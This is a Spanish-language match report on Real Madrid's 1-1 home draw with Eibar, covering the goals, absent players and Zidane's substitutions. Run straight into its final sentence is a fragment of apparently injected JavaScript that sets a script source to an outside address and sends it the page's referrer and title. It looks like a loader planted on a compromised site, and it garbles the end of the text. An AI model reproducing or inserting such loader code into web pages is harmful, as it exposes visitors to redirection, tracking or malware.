Minuto 91: Kelia Vidarte/LaTribunamadridista.com
Parece que los hombres de Zidane no encuentran la senda de la victoria y se ahogan en un juego nulo. Los blancos volvieron a cosechar el cuarto empate consecutivo, empatando en el Bernabéu frente al Eibar (1-1) y dejando así una crisis de resultados que a estas alturas le podían haber dado un liderato con varios puntos de diferencia frente a sus perseguidores. Ahora lo colocan en la segunda plaza, empatado con los mismo puntos con el Atlético de Madrid, que ganó su encuentro en la jornada 7 contra el Valencia. Todo presagia una Liga Santander llena de altibajos y cambios en los primeros puestos.
Al Bernabéu llegó un Eibar, perfecto tácticamente y muy ordenado. La falta de piezas claves en el equipo madridista, como Modric, Marcelo y Casimiro hacen prever la falta de equilibrio en el equipo. A los blancos le faltó contundencia ofensiva y la brecha defensiva sigue siendo evidente. Todo ello unido a que James no pudo estar en el terreno de juego y se buscó la alternativa de Isco, que sobrado de personalidad supo pedir la pelota, pero no imprimió el ritmo necesario para encontrarse en el terreno de juego.
En la primera parte el jugador más destacado en la casa blanca fue Bale, quien demostró ímpetu por la banda derecha para explotar su velocidad y dio avisos a la portería del Eibar. No obstante, fue el Eibar quien puso en funcionamiento el marcador, durante una acción en la Keylor Navas estaba descolocado y Pepe provocó un desajuste, aprovechándolo así Fran Rico y marcando el primer tanto de la tarde.
Es ahí cuando el Madrid volvió a desesperarse y empezó a buscar gol, sin belleza en el juego. Parecía que las aguas iban a calmarse con el gol de Bale para igualar el encuentro, gracias por la aparición de Cristiano por la izquierda y encarando y explotando el ritmo del encuentro. El Madrid tuvo la oportunidad de aprovechar el ritmo del encuentro y no supo hacerlo, le faltó confianza por la inestabilidad que le genera la defensa. Los hombres de Zidane erraban y perdían muchos balones que el Eibar pudo haber sentenciado.
El Real Madrid tenía la posesión, pero no generaba velocidad, ni creaba desiquilibrio. Cristiano Ronaldo seguían con sus ansias, pero no superaba a Riesgo, una ansiedad que se veía reflejada en el equipo, que perdía el control cada minuto que pasaba del encuentro. Zidane buscó arreglar el asunto con la entrada de Morata por Benzema en el descanso y aunque los madridistas se aferraron a la velocidad, la precisión estaba ausente.
En los últimos minutos del encuentro el Madrid no pudo aferrarse a la épica y el duelo murió sin capacidad de reacción, cediendo el liderato y provocando un bache en la casa blanca.s.src=’http:///?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + »;